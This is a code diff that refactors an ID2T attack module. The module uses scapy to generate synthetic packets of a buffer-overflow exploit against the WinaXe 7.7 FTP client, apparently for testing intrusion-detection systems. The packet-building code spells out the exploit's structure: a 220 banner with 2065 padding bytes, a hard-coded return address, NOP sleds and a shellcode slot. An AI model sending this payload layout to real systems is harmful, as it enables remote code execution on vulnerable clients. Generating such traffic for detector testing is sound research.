|
@@ -1,28 +1,24 @@
|
|
import logging
|
|
import logging
|
|
-import ID2TLib.Utility
|
|
+import random as rnd
|
|
|
|
|
|
-from random import randint
|
|
+import scapy.layers.inet as inet
|
|
-from lea import Lea
|
|
|
|
-from scapy.layers.inet import IP, Ether, TCP
|
|
|
|
|
|
|
|
-from Attack import BaseAttack
|
|
+import Attack.AttackParameters as atkParam
|
|
-from Attack.AttackParameters import Parameter as Param
|
|
+import Attack.BaseAttack as BaseAttack
|
|
-from Attack.AttackParameters import ParameterTypes
|
|
+import ID2TLib.Utility
|
|
-from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\
|
|
+import ID2TLib.Utility as Util
|
|
- get_rnd_bytes , check_payload_len, handle_most_used_outputs
|
|
|
|
|
|
|
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
|
|
|
+
|
|
|
|
|
|
|
|
|
|
ftp_port = 21
|
|
ftp_port = 21
|
|
|
|
|
|
|
|
|
|
class FTPWinaXeExploit(BaseAttack.BaseAttack):
|
|
class FTPWinaXeExploit(BaseAttack.BaseAttack):
|
|
-
|
|
|
|
def __init__(self):
|
|
def __init__(self):
|
|
"""
|
|
"""
|
|
Creates a new instance of the FTPWinaXeExploit.
|
|
Creates a new instance of the FTPWinaXeExploit.
|
|
-
|
|
|
|
"""
|
|
"""
|
|
|
|
|
|
super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
|
|
super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
|
|
@@ -30,16 +26,16 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
|
|
|
|
|
|
|
|
|
|
self.supported_params.update({
|
|
self.supported_params.update({
|
|
- Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS,
|
|
+ atkParam.Parameter.IP_SOURCE: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
|
|
- Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS,
|
|
+ atkParam.Parameter.IP_DESTINATION: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
|
|
- Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS,
|
|
+ atkParam.Parameter.MAC_SOURCE: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
|
|
- Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS,
|
|
+ atkParam.Parameter.MAC_DESTINATION: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
|
|
- Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
|
|
+ atkParam.Parameter.INJECT_AT_TIMESTAMP: atkParam.ParameterTypes.TYPE_FLOAT,
|
|
- Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
|
|
+ atkParam.Parameter.INJECT_AFTER_PACKET: atkParam.ParameterTypes.TYPE_PACKET_POSITION,
|
|
- Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN,
|
|
+ atkParam.Parameter.IP_SOURCE_RANDOMIZE: atkParam.ParameterTypes.TYPE_BOOLEAN,
|
|
- Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT,
|
|
+ atkParam.Parameter.PACKETS_PER_SECOND: atkParam.ParameterTypes.TYPE_FLOAT,
|
|
- Param.CUSTOM_PAYLOAD: ParameterTypes.TYPE_STRING,
|
|
+ atkParam.Parameter.CUSTOM_PAYLOAD: atkParam.ParameterTypes.TYPE_STRING,
|
|
- Param.CUSTOM_PAYLOAD_FILE: ParameterTypes.TYPE_STRING
|
|
+ atkParam.Parameter.CUSTOM_PAYLOAD_FILE: atkParam.ParameterTypes.TYPE_STRING
|
|
})
|
|
})
|
|
|
|
|
|
def init_params(self):
|
|
def init_params(self):
|
|
@@ -54,55 +50,55 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
|
|
most_used_ip_address = self.statistics.get_most_used_ip_address()
|
|
most_used_ip_address = self.statistics.get_most_used_ip_address()
|
|
|
|
|
|
|
|
|
|
- most_used_ip_class = handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
|
|
+ most_used_ip_class = Util.handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
|
|
attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
|
|
attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
|
|
- self.add_param_value(Param.IP_DESTINATION, attacker_ip)
|
|
+ self.add_param_value(atkParam.Parameter.IP_DESTINATION, attacker_ip)
|
|
- self.add_param_value(Param.MAC_DESTINATION, self.generate_random_mac_address())
|
|
+ self.add_param_value(atkParam.Parameter.MAC_DESTINATION, self.generate_random_mac_address())
|
|
|
|
|
|
random_ip_address = self.statistics.get_random_ip_address()
|
|
random_ip_address = self.statistics.get_random_ip_address()
|
|
|
|
|
|
while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
|
|
while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
|
|
random_ip_address = self.statistics.get_random_ip_address()
|
|
random_ip_address = self.statistics.get_random_ip_address()
|
|
|
|
|
|
- self.add_param_value(Param.IP_SOURCE, random_ip_address)
|
|
+ self.add_param_value(atkParam.Parameter.IP_SOURCE, random_ip_address)
|
|
victim_mac = self.statistics.get_mac_address(random_ip_address)
|
|
victim_mac = self.statistics.get_mac_address(random_ip_address)
|
|
if isinstance(victim_mac, list) and len(victim_mac) == 0:
|
|
if isinstance(victim_mac, list) and len(victim_mac) == 0:
|
|
victim_mac = self.generate_random_mac_address()
|
|
victim_mac = self.generate_random_mac_address()
|
|
- self.add_param_value(Param.MAC_SOURCE, victim_mac)
|
|
+ self.add_param_value(atkParam.Parameter.MAC_SOURCE, victim_mac)
|
|
- self.add_param_value(Param.PACKETS_PER_SECOND,
|
|
+ self.add_param_value(atkParam.Parameter.PACKETS_PER_SECOND,
|
|
(self.statistics.get_pps_sent(most_used_ip_address) +
|
|
(self.statistics.get_pps_sent(most_used_ip_address) +
|
|
self.statistics.get_pps_received(most_used_ip_address)) / 2)
|
|
self.statistics.get_pps_received(most_used_ip_address)) / 2)
|
|
- self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
|
|
+ self.add_param_value(atkParam.Parameter.INJECT_AFTER_PACKET, rnd.randint(0, self.statistics.get_packet_count()))
|
|
- self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False')
|
|
+ self.add_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE, 'False')
|
|
- self.add_param_value(Param.CUSTOM_PAYLOAD, '')
|
|
+ self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD, '')
|
|
- self.add_param_value(Param.CUSTOM_PAYLOAD_FILE, '')
|
|
+ self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE, '')
|
|
|
|
|
|
def generate_attack_packets(self):
|
|
def generate_attack_packets(self):
|
|
|
|
|
|
- pps = self.get_param_value(Param.PACKETS_PER_SECOND)
|
|
+ pps = self.get_param_value(atkParam.Parameter.PACKETS_PER_SECOND)
|
|
|
|
|
|
|
|
|
|
- timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP)
|
|
+ timestamp_next_pkt = self.get_param_value(atkParam.Parameter.INJECT_AT_TIMESTAMP)
|
|
|
|
|
|
self.attack_start_utime = timestamp_next_pkt
|
|
self.attack_start_utime = timestamp_next_pkt
|
|
|
|
|
|
|
|
|
|
- ip_victim = self.get_param_value(Param.IP_SOURCE)
|
|
+ ip_victim = self.get_param_value(atkParam.Parameter.IP_SOURCE)
|
|
- ip_attacker = self.get_param_value(Param.IP_DESTINATION)
|
|
+ ip_attacker = self.get_param_value(atkParam.Parameter.IP_DESTINATION)
|
|
- mac_victim = self.get_param_value(Param.MAC_SOURCE)
|
|
+ mac_victim = self.get_param_value(atkParam.Parameter.MAC_SOURCE)
|
|
- mac_attacker = self.get_param_value(Param.MAC_DESTINATION)
|
|
+ mac_attacker = self.get_param_value(atkParam.Parameter.MAC_DESTINATION)
|
|
|
|
|
|
- custom_payload = self.get_param_value(Param.CUSTOM_PAYLOAD)
|
|
+ custom_payload = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD)
|
|
custom_payload_len = len(custom_payload)
|
|
custom_payload_len = len(custom_payload)
|
|
custom_payload_limit = 1000
|
|
custom_payload_limit = 1000
|
|
- check_payload_len(custom_payload_len, custom_payload_limit)
|
|
+ Util.check_payload_len(custom_payload_len, custom_payload_limit)
|
|
|
|
|
|
self.packets = []
|
|
self.packets = []
|
|
|
|
|
|
|
|
|
|
- if self.get_param_value(Param.IP_SOURCE_RANDOMIZE):
|
|
+ if self.get_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE):
|
|
|
|
|
|
- most_used_ip_class = handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
|
|
+ most_used_ip_class = Util.handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
|
|
ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
|
|
ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
|
|
mac_victim = self.generate_random_mac_address()
|
|
mac_victim = self.generate_random_mac_address()
|
|
|
|
|
|
@@ -110,98 +106,98 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
|
|
victim_mss_value, victim_ttl_value, victim_win_value = self.get_ip_data(ip_victim)
|
|
victim_mss_value, victim_ttl_value, victim_win_value = self.get_ip_data(ip_victim)
|
|
attacker_mss_value, attacker_ttl_value, attacker_win_value = self.get_ip_data(ip_attacker)
|
|
attacker_mss_value, attacker_ttl_value, attacker_win_value = self.get_ip_data(ip_attacker)
|
|
|
|
|
|
- minDelay, maxDelay = self.get_reply_delay(ip_attacker)
|
|
+ min_delay, max_delay = self.get_reply_delay(ip_attacker)
|
|
|
|
|
|
- attacker_seq = randint(1000, 50000)
|
|
+ attacker_seq = rnd.randint(1000, 50000)
|
|
- victim_seq = randint(1000, 50000)
|
|
+ victim_seq = rnd.randint(1000, 50000)
|
|
|
|
|
|
- sport = generate_source_port_from_platform("win7")
|
|
+ sport = Util.generate_source_port_from_platform("win7")
|
|
|
|
|
|
|
|
|
|
- victim_ether = Ether(src=mac_victim, dst=mac_attacker)
|
|
+ victim_ether = inet.Ether(src=mac_victim, dst=mac_attacker)
|
|
- victim_ip = IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
|
|
+ victim_ip = inet.IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
|
|
- request_tcp = TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
|
|
+ request_tcp = inet.TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
|
|
- seq=victim_seq, options=[('MSS', victim_mss_value)])
|
|
+ seq=victim_seq, options=[('MSS', victim_mss_value)])
|
|
victim_seq += 1
|
|
victim_seq += 1
|
|
syn = (victim_ether / victim_ip / request_tcp)
|
|
syn = (victim_ether / victim_ip / request_tcp)
|
|
syn.time = timestamp_next_pkt
|
|
syn.time = timestamp_next_pkt
|
|
- timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
|
|
+ timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
|
|
self.packets.append(syn)
|
|
self.packets.append(syn)
|
|
|
|
|
|
|
|
|
|
- attacker_ether = Ether(src=mac_attacker, dst=mac_victim)
|
|
+ attacker_ether = inet.Ether(src=mac_attacker, dst=mac_victim)
|
|
- attacker_ip = IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
|
|
+ attacker_ip = inet.IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
|
|
- reply_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
|
|
+ reply_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
|
|
- window=attacker_win_value, options=[('MSS', attacker_mss_value)])
|
|
+ window=attacker_win_value, options=[('MSS', attacker_mss_value)])
|
|
attacker_seq += 1
|
|
attacker_seq += 1
|
|
synack = (attacker_ether / attacker_ip / reply_tcp)
|
|
synack = (attacker_ether / attacker_ip / reply_tcp)
|
|
synack.time = timestamp_next_pkt
|
|
synack.time = timestamp_next_pkt
|
|
- timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
|
|
+ timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
|
|
self.packets.append(synack)
|
|
self.packets.append(synack)
|
|
|
|
|
|
|
|
|
|
- ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
|
|
+ ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
|
|
- window=victim_win_value, options=[('MSS', victim_mss_value)])
|
|
+ window=victim_win_value, options=[('MSS', victim_mss_value)])
|
|
ack = (victim_ether / victim_ip / ack_tcp)
|
|
ack = (victim_ether / victim_ip / ack_tcp)
|
|
ack.time = timestamp_next_pkt
|
|
ack.time = timestamp_next_pkt
|
|
- timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
|
|
+ timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
|
|
self.packets.append(ack)
|
|
self.packets.append(ack)
|
|
|
|
|
|
|
|
|
|
- ftp_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
|
|
+ ftp_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
|
|
- window=attacker_win_value, options=[('MSS', attacker_mss_value)])
|
|
+ window=attacker_win_value, options=[('MSS', attacker_mss_value)])
|
|
|
|
|
|
characters = b'220'
|
|
characters = b'220'
|
|
- characters += get_rnd_bytes(2065, forbidden_chars)
|
|
+ characters += Util.get_rnd_bytes(2065, Util.forbidden_chars)
|
|
characters += b'\x96\x72\x01\x68'
|
|
characters += b'\x96\x72\x01\x68'
|
|
- characters += get_rnd_x86_nop(10, False, forbidden_chars)
|
|
+ characters += Util.get_rnd_x86_nop(10, False, Util.forbidden_chars)
|
|
|
|
|
|
- custom_payload_file = self.get_param_value(Param.CUSTOM_PAYLOAD_FILE)
|
|
+ custom_payload_file = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE)
|
|
|
|
|
|
if custom_payload == '':
|
|
if custom_payload == '':
|
|
if custom_payload_file == '':
|
|
if custom_payload_file == '':
|
|
- payload = get_rnd_bytes(custom_payload_limit, forbidden_chars)
|
|
+ payload = Util.get_rnd_bytes(custom_payload_limit, Util.forbidden_chars)
|
|
else:
|
|
else:
|
|
payload = ID2TLib.Utility.get_bytes_from_file(custom_payload_file)
|
|
payload = ID2TLib.Utility.get_bytes_from_file(custom_payload_file)
|
|
- check_payload_len(len(payload), custom_payload_limit)
|
|
+ Util.check_payload_len(len(payload), custom_payload_limit)
|
|
- payload += get_rnd_x86_nop(custom_payload_limit - len(payload), False, forbidden_chars)
|
|
+ payload += Util.get_rnd_x86_nop(custom_payload_limit - len(payload), False, Util.forbidden_chars)
|
|
else:
|
|
else:
|
|
encoded_payload = custom_payload.encode()
|
|
encoded_payload = custom_payload.encode()
|
|
- payload = get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, forbidden_chars)
|
|
+ payload = Util.get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, Util.forbidden_chars)
|
|
payload += encoded_payload
|
|
payload += encoded_payload
|
|
|
|
|
|
characters += payload
|
|
characters += payload
|
|
- characters += get_rnd_x86_nop(20, False, forbidden_chars)
|
|
+ characters += Util.get_rnd_x86_nop(20, False, Util.forbidden_chars)
|
|
characters += b'\r\n'
|
|
characters += b'\r\n'
|
|
|
|
|
|
ftp_tcp.add_payload(characters)
|
|
ftp_tcp.add_payload(characters)
|
|
|
|
|
|
ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
|
|
ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
|
|
ftp_buff.time = timestamp_next_pkt
|
|
ftp_buff.time = timestamp_next_pkt
|
|
- timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
|
|
+ timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
|
|
self.packets.append(ftp_buff)
|
|
self.packets.append(ftp_buff)
|
|
attacker_seq += len(ftp_tcp.payload)
|
|
attacker_seq += len(ftp_tcp.payload)
|
|
|
|
|
|
|
|
|
|
- fin_ack_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
|
|
+ fin_ack_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
|
|
- window=attacker_win_value, options=[('MSS', attacker_mss_value)])
|
|
+ window=attacker_win_value, options=[('MSS', attacker_mss_value)])
|
|
|
|
|
|
fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
|
|
fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
|
|
fin_ack.time = timestamp_next_pkt
|
|
fin_ack.time = timestamp_next_pkt
|
|
- timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
|
|
+ timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
|
|
self.packets.append(fin_ack)
|
|
self.packets.append(fin_ack)
|
|
|
|
|
|
|
|
|
|
- ftp_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
|
|
+ ftp_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
|
|
- window=victim_win_value, options=[('MSS', victim_mss_value)])
|
|
+ window=victim_win_value, options=[('MSS', victim_mss_value)])
|
|
ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
|
|
ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
|
|
ftp_ack.time = timestamp_next_pkt
|
|
ftp_ack.time = timestamp_next_pkt
|
|
- timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
|
|
+ timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
|
|
self.packets.append(ftp_ack)
|
|
self.packets.append(ftp_ack)
|
|
|
|
|
|
|
|
|
|
- fin_ack_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq+1, flags='A',
|
|
+ fin_ack_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq + 1, flags='A',
|
|
- window=victim_win_value, options=[('MSS', victim_mss_value)])
|
|
+ window=victim_win_value, options=[('MSS', victim_mss_value)])
|
|
fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
|
|
fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
|
|
fin_ack_ack.time = timestamp_next_pkt
|
|
fin_ack_ack.time = timestamp_next_pkt
|
|
self.packets.append(fin_ack_ack)
|
|
self.packets.append(fin_ack_ack)
|